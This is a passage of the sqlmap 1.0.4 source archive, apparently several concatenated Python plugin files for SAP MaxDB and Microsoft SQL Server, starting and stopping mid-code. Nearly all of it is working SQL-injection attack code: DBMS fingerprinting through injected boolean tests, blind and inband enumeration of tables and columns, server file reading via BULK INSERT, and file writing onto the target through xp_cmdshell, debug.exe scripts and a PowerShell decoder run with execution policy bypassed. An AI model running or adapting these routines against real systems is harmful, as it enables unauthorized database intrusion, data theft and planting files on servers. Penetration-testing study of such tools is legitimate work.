pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.tablename' % randStr], blind=True) if retVal: for table in retVal[0].values()[0]: if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables return kb.data.cachedTables def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: colList = conf.col.split(",") else: colList = [] if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} return kb.data.cachedColumns message = "do you want to use common column existence check? [y/N/q] " test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[Backend.getIdentifiedDbms()].columns for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: table = {} table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table continue infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) randStr = randomStr() query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.columnname' % randStr, '%s.datatype' % randStr, '%s.len' % randStr], blind=True) if retVal: table = {} columns = {} for columnname, datatype, length in zip(retVal[0]["%s.columnname" % randStr], retVal[0]["%s.datatype" % randStr], retVal[0]["%s.len" % randStr]): columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length) table[tbl] = columns kb.data.cachedColumns[conf.db] = table return kb.data.cachedColumns def getPrivileges(self, *args): warnMsg = "on SAP MaxDB it is not possible to enumerate the user privileges" logger.warn(warnMsg) return {} def searchDb(self): warnMsg = "on SAP MaxDB it is not possible to search databases" logger.warn(warnMsg) return [] def getHostname(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the hostname" logger.warn(warnMsg) sqlmap-1.0.4/plugins/dbms/maxdb/filesystem.py000066400000000000000000000013351270044205500212510ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on SAP MaxDB reading of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on SAP MaxDB writing of files is not supported" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/dbms/maxdb/fingerprint.py000066400000000000000000000073271270044205500214230ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import MAXDB_ALIASES from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MAXDB) def _versionCheck(self): infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB logger.info(infoMsg) query = agent.prefixQuery("/* NoValue */") query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if not result: warnMsg = "unable to perform %s version check" % DBMS.MAXDB logger.warn(warnMsg) return None minor, major = None, None for version in (6, 7): result = inject.checkBooleanExpression("%d=(SELECT MAJORVERSION FROM SYSINFO.VERSION)" % version) if result: major = version for version in xrange(0, 10): result = inject.checkBooleanExpression("%d=(SELECT MINORVERSION FROM SYSINFO.VERSION)" % version) if result: minor = version if major and minor: return "%s.%s" % (major, minor) else: return None def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp blank = " " * 15 value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.MAXDB return value actVer = Format.getDbms() + " (%s)" % self._versionCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: value += "\n%sbanner parsing fingerprint: -" % blank htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or (conf.dbms or "").lower() in MAXDB_ALIASES): setDbms(DBMS.MAXDB) self.getBanner() return True infoMsg = "testing %s" % DBMS.MAXDB logger.info(infoMsg) result = inject.checkBooleanExpression("ALPHA(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MAXDB logger.info(infoMsg) result = inject.checkBooleanExpression("MAPCHAR(NULL,1,DEFAULTMAP) IS NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB logger.warn(warnMsg) return False setDbms(DBMS.MAXDB) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB logger.warn(warnMsg) return False def forceDbmsEnum(self): if conf.db: conf.db = conf.db.upper() else: conf.db = "USER" if conf.tbl: conf.tbl = conf.tbl.upper() sqlmap-1.0.4/plugins/dbms/maxdb/syntax.py000066400000000000000000000007701270044205500204150ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") "SELECT 'abcdefgh' FROM foobar" """ return expression sqlmap-1.0.4/plugins/dbms/maxdb/takeover.py000066400000000000000000000020321270044205500207000ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on SAP MaxDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on SAP MaxDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on SAP MaxDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on SAP MaxDB it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/dbms/mssqlserver/000077500000000000000000000000001270044205500200045ustar00rootroot00000000000000sqlmap-1.0.4/plugins/dbms/mssqlserver/__init__.py000066400000000000000000000020711270044205500221150ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MSSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.mssqlserver.enumeration import Enumeration from plugins.dbms.mssqlserver.filesystem import Filesystem from plugins.dbms.mssqlserver.fingerprint import Fingerprint from plugins.dbms.mssqlserver.syntax import Syntax from plugins.dbms.mssqlserver.takeover import Takeover from plugins.generic.misc import Miscellaneous class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Microsoft SQL Server methods """ def __init__(self): self.excludeDbsList = MSSQL_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.MSSQL] = Syntax.escape sqlmap-1.0.4/plugins/dbms/mssqlserver/connector.py000066400000000000000000000047761270044205500223660ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import _mssql import pymssql except ImportError: pass import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pymssql.sourceforge.net/ User guide: http://pymssql.sourceforge.net/examples_pymssql.php API: http://pymssql.sourceforge.net/ref_pymssql.php Debian package: python-pymssql License: LGPL Possible connectors: http://wiki.python.org/moin/SQL%20Server Important note: pymssql library on your system MUST be version 1.0.2 to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) return None def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) except pymssql.InternalError, msg: raise SqlmapConnectionException(msg) return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() try: self.connector.commit() except pymssql.OperationalError: pass return retVal sqlmap-1.0.4/plugins/dbms/mssqlserver/enumeration.py000066400000000000000000000413131270044205500227060ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_DB from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getPrivileges(self, *args): warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" logger.warn(warnMsg) users = [] areAdmins = set() if conf.user: users = [conf.user] elif not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers for user in users: user = unArrayizeValue(user) if user is None: continue isDba = self.isDba(user) if isDba is True: areAdmins.add(user) kb.data.cachedUsersPrivileges[user] = None return (kb.data.cachedUsersPrivileges, areAdmins) def getTables(self): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: dbs = conf.db.split(",") else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) dbs = filter(None, dbs) infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].tables if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3): query = query.replace("%s", db) value = inject.getValue(query, blind=False, time=False) if not isNoneValue(value): break if not isNoneValue(value): value = filter(None, arrayizeValue(value)) value = [safeSQLIdentificatorNaming(unArrayizeValue(_), True) for _ in value] kb.data.cachedTables[db] = value if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % db logger.info(infoMsg) for query in (rootQuery.blind.count, rootQuery.blind.count2, rootQuery.blind.count3): _ = query.replace("%s", db) count = inject.getValue(_, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNoneValue(count): break if not isNumPosStrValue(count): if count != 0: warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % db logger.warn(warnMsg) continue tables = [] for index in xrange(int(count)): _ = safeStringFormat((rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db), index) table = inject.getValue(_, union=False, error=False) if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) if tables: kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db logger.warn(warnMsg) if not kb.data.cachedTables and not conf.search: errMsg = "unable to retrieve the tables for any database" raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables return kb.data.cachedTables def searchTable(self): foundTbls = {} tblList = conf.tbl.split(",") rootQuery = queries[Backend.getIdentifiedDbms()].search_table tblCond = rootQuery.inband.condition tblConsider, tblCondParam = self.likeOrExact("table") if conf.db and conf.db != CURRENT_DB: enumDbs = conf.db.split(",") elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: db = safeSQLIdentificatorNaming(db) foundTbls[db] = [] for tbl in tblList: tbl = safeSQLIdentificatorNaming(tbl, True) infoMsg = "searching table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query.replace("%s", db) query += tblQuery values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): if isinstance(values, basestring): values = [values] for foundTbl in values: if foundTbl is None: continue foundTbls[db].append(foundTbl) else: infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count query = query.replace("%s", db) query += " AND %s" % tblQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query.replace("%s", db) query += " AND %s" % tblQuery query = agent.limitQuery(index, query, tblCond) tbl = inject.getValue(query, union=False, error=False) kb.hintValue = tbl foundTbls[db].append(tbl) for db, tbls in foundTbls.items(): if len(tbls) == 0: foundTbls.pop(db) if not foundTbls: warnMsg = "no databases contain any of the provided tables" logger.warn(warnMsg) return conf.dumper.dbTables(foundTbls) self.dumpFoundTables(foundTbls) def searchColumn(self): rootQuery = queries[Backend.getIdentifiedDbms()].search_column foundCols = {} dbs = {} whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(",") if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition tblCond = rootQuery.inband.condition2 colConsider, colCondParam = self.likeOrExact("column") if conf.db and conf.db != CURRENT_DB: enumDbs = conf.db.split(",") elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: db = safeSQLIdentificatorNaming(db) dbs[db] = {} for column in colList: column = safeSQLIdentificatorNaming(column) conf.db = origDb conf.tbl = origTbl infoMsg = "searching column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) foundCols[column] = {} if conf.tbl: _ = conf.tbl.split(",") whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _)) if conf.db and conf.db != CURRENT_DB: _ = conf.db.split(",") infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(infoMsg2) else: infoMsgDb = " across all databases" logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) for db in filter(None, dbs.keys()): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: continue if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): if isinstance(values, basestring): values = [values] for foundTbl in values: foundTbl = safeSQLIdentificatorNaming(unArrayizeValue(foundTbl), True) if foundTbl is None: continue if foundTbl not in dbs[db]: dbs[db][foundTbl] = {} if colConsider == "1": conf.db = db conf.tbl = foundTbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\ and not isNoneValue(kb.data.cachedColumns[db][foundTbl]): dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl]) kb.data.cachedColumns = {} else: dbs[db][foundTbl][column] = None if db in foundCols[column]: foundCols[column][db].append(foundTbl) else: foundCols[column][db] = [foundTbl] else: foundCols[column][db] = [] infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (column, db) logger.info("%s%s" % (infoMsg, infoMsgTbl)) query = rootQuery.blind.count query = query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) query = agent.limitQuery(index, query, colCond.replace("[DB]", db)) tbl = inject.getValue(query, union=False, error=False) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) if tbl not in dbs[db]: dbs[db][tbl] = {} if colConsider == "1": conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} else: dbs[db][tbl][column] = None foundCols[column][db].append(tbl) conf.dumper.dbColumns(foundCols, colConsider, dbs) self.dumpFoundColumn(dbs, foundCols, colConsider) sqlmap-1.0.4/plugins/dbms/mssqlserver/filesystem.py000066400000000000000000000405201270044205500225430ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import ntpath import os from lib.core.common import getLimitRange from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import posixToNtSlashes from lib.core.common import randomStr from lib.core.common import readInput from lib.core.convert import base64encode from lib.core.convert import hexencode from lib.core.data import conf from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def _dataToScr(self, fileContent, chunkName): fileLines = [] fileSize = len(fileContent) lineAddr = 0x100 lineLen = 20 fileLines.append("n %s" % chunkName) fileLines.append("rcx") fileLines.append("%x" % fileSize) fileLines.append("f 0100 %x 00" % fileSize) for fileLine in xrange(0, len(fileContent), lineLen): scrString = "" for lineChar in fileContent[fileLine:fileLine + lineLen]: strLineChar = hexencode(lineChar) if not scrString: scrString = "e %x %s" % (lineAddr, strLineChar) else: scrString += " %s" % strLineChar lineAddr += len(lineChar) fileLines.append(scrString) fileLines.append("w") fileLines.append("q") return fileLines def _updateDestChunk(self, fileContent, tmpPath): randScr = "tmpf%s.scr" % randomStr(lowercase=True) chunkName = randomStr(lowercase=True) fileScrLines = self._dataToScr(fileContent, chunkName) logger.debug("uploading debug script to %s\%s, please wait.." % (tmpPath, randScr)) self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr) logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr)) commands = ("cd \"%s\"" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr) complComm = " & ".join(command for command in commands) self.execCmd(complComm) return chunkName def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = [] txtTbl = self.fileTblName hexTbl = "%shex" % self.fileTblName self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) logger.debug("loading the content of file '%s' into support table" % rFile) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) # Reference: http://support.microsoft.com/kb/104829 binToHexQuery = """DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(%s) FROM %s) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter %% @chunk = 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) SET @hexstr = '' END END IF @counter %% (@chunk) != 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) END """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") inject.goStacked(binToHexQuery) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, time=False, error=False) if not result: result = [] count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the content of the " errMsg += "file '%s'" % rFile raise SqlmapNoneDataException(errMsg) indexRange = getLimitRange(count) for index in indexRange: chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) inject.goStacked("DROP TABLE %s" % hexTbl) return result def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): errMsg = "Microsoft SQL Server does not support file upload with " errMsg += "UNION query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): infoMsg = "using PowerShell to write the %s file content " % fileType infoMsg += "to file '%s'" % dFile logger.info(infoMsg) encodedFileContent = base64encode(wFileContent) encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True) encodedBase64FilePath = "%s\%s" % (tmpPath, encodedBase64File) randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True) randPSScriptPath = "%s\%s" % (tmpPath, randPSScript) wFileSize = len(encodedFileContent) chunkMaxSize = 1024 logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath) for i in xrange(0, wFileSize, chunkMaxSize): wEncodedChunk = encodedFileContent[i:i + chunkMaxSize] self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File) psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = " psString += "[System.Convert]::FromBase64String($Base64); Set-Content " psString += "-Path \"%s\" -Value $Content -Encoding Byte" % dFile logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath) self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile) commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, "del /F /Q \"%s\"" % encodedBase64FilePath, "del /F /Q \"%s\"" % randPSScriptPath) complComm = " & ".join(command for command in commands) self.execCmd(complComm) def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, 